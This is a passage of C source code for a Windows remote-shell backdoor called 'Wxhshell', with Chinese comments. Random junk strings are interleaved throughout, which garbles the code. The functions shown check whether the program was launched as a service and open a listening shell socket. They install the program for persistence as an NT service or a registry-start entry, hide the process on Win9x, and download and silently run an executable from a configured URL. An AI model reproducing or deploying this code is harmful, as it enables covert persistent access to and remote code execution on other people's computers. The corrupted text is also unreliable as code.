dSL if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w2UEU5% Yj1|]i5b CloseHandle(hProcess); ""jW'%wR bsDA&~)s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S4`X^a}pY if(hProcess==NULL) return 0; w~)tEN> Bh'fkW3 HMODULE hMod; KD,3U/3 char procName[255]; 'fl< ac,. unsigned long cbNeeded; aqN{@| N-?5[T" if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F5RL+rU(h Gmi?xGn CloseHandle(hProcess); w(&EZDe On}1&!{1] if(strstr(procName,"services")) return 1; // 以服务启动 84.L1|k Q&xH return 0; // 注册表启动 8
E\zjT!#\ } Lo1ySLo$G PXYLLX\3 // 主模块 / Qd` ? int StartWxhshell(LPSTR lpCmdLine) $
mE*= { A~PR SOCKET wsl; 0 (wu BOOL val=TRUE; d/
^IL*O int port=0; G|KA!q struct sockaddr_in door; k\.9iI'6 DOJydYds if(wscfg.ws_autoins) Install(); e
O\72? K NOQ^HEi port=atoi(lpCmdLine); TPJF?.le
' cyJ{AS+ if(port<=0) port=wscfg.ws_port; (cOe*>L; N'VTdf? WSADATA data; ;6P>S4`w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d,Aa8I @d0f +9d if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Cjr]l! setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F1stRZ1ZI door.sin_family = AF_INET; GNMOHqg4 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]}!@'+= door.sin_port = htons(port); 5<dg@,\ >|A,rE^Ojt if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B1)Eo2i# closesocket(wsl); *^|\#UIk
return 1; YUEyGhkMV{ } H_$?b U_"!\lI_yg if(listen(wsl,2) == INVALID_SOCKET) { ZQE1]ht closesocket(wsl); c EYHB1*cT return 1; \uOM,98xS } 9KU&M"Yq&i Wxhshell(wsl); RH;ulAD6(~ WSACleanup(); 5q0L<GOrj b!@PS$BTxq return 0; 1z8"Gk6 (L*GU 7m; } m}wn+R !.,wg'\P // 以NT服务方式启动 Dm)B? H" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pNb2t/8%% { i7.8H*z' DWORD status = 0; V+"%BrM DWORD specificError = 0xfffffff; v;<gCzqQh ^ f! M"@ serviceStatus.dwServiceType = SERVICE_WIN32; {h+8^ serviceStatus.dwCurrentState = SERVICE_START_PENDING; G(a5@9F serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w.k9{f serviceStatus.dwWin32ExitCode = 0; |MZ1j(_ serviceStatus.dwServiceSpecificExitCode = 0; 6#+&/ "* serviceStatus.dwCheckPoint = 0; le'RU1k serviceStatus.dwWaitHint = 0; *,$5EN 9i5?J ]o^ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5j`xSG if (hServiceStatusHandle==0) return; D!o[Sm}JO[ %v8& status = GetLastError(); O% T?+1E if (status!=NO_ERROR) (I}owr 5: { xx`YBn~" serviceStatus.dwCurrentState = SERVICE_STOPPED; * hs&^G serviceStatus.dwCheckPoint = 0; [;z\bV<S serviceStatus.dwWaitHint = 0; ,>-D xS serviceStatus.dwWin32ExitCode = status; !l
$d^y345 serviceStatus.dwServiceSpecificExitCode = specificError; X,v.1#[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Czjb.c:a.Y return; z{L'7 } f(|k0$EIu %b^4XTz serviceStatus.dwCurrentState = SERVICE_RUNNING; 6j|Ncv serviceStatus.dwCheckPoint = 0; Hx gC*-A$/ serviceStatus.dwWaitHint = 0; rC-E+%y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |eu8;~A } ^+P.f[ /q IQE&V- // 处理NT服务事件,比如:启动、停止 "] V\ Y! VOID WINAPI NTServiceHandler(DWORD fdwControl) ;gZ
^c]\ { 64?HqO
6( switch(fdwControl) jKml:)k { RTc@`m3 M case SERVICE_CONTROL_STOP: <_xG)vwh. serviceStatus.dwWin32ExitCode = 0; *-9i<@|(U^ serviceStatus.dwCurrentState = SERVICE_STOPPED; X
hq ss), serviceStatus.dwCheckPoint = 0; ' 4FH9J serviceStatus.dwWaitHint = 0; nc;eNB { `"=>lu2H SetServiceStatus(hServiceStatusHandle, &serviceStatus); m%[e_eS } J>A9]%M return; =VD],R) case SERVICE_CONTROL_PAUSE: lJdBUoO serviceStatus.dwCurrentState = SERVICE_PAUSED; sjyr9AF break; ,->K)Rs ; case SERVICE_CONTROL_CONTINUE: sQ}|Lu9hZ serviceStatus.dwCurrentState = SERVICE_RUNNING; * 1;4&/93o break; hBX*02p case SERVICE_CONTROL_INTERROGATE: `>
%QCc\ break; _;k<=ns(= }; \|0z:R;X SetServiceStatus(hServiceStatusHandle, &serviceStatus); /i,n75/y? } SI!A?34 ^{uHph9ny // 标准应用程序主函数 T<B}Z11R int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %aNm j)L { B%8@yS fd
)v{OC // 获取操作系统版本 nFQuoU]ux OsIsNt=GetOsVer(); D}?p>e|<D GetModuleFileName(NULL,ExeFile,MAX_PATH); {mJ'
Lb0; M(a%Qk?]/ // 从命令行安装 Z^|N]Ej if(strpbrk(lpCmdLine,"iI")) Install(); }nlS&gew^ VM%g QOo< // 下载执行文件 +.!D>U$)} if(wscfg.ws_downexe) { XkA] 9,@ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hW#^H5? WinExec(wscfg.ws_filenam,SW_HIDE); %R>n5m } 9rMO=
;2C if(!OsIsNt) { `6~0W5 // 如果时win9x,隐藏进程并且设置为注册表启动 P PJ^;s HideProc(); U823q-x StartWxhshell(lpCmdLine); T`E0_ZU; } iN&oSpQ else e#*3X4<\K if(StartFromService()) u+j\PWOtm // 以服务方式启动 qnp}#BZ StartServiceCtrlDispatcher(DispatchTable); I!L J&> else "J"=<_? // 普通方式启动 1b%Oi.; StartWxhshell(lpCmdLine); )k Wxp bA)nWWSg= return 0; yUnV%@. }
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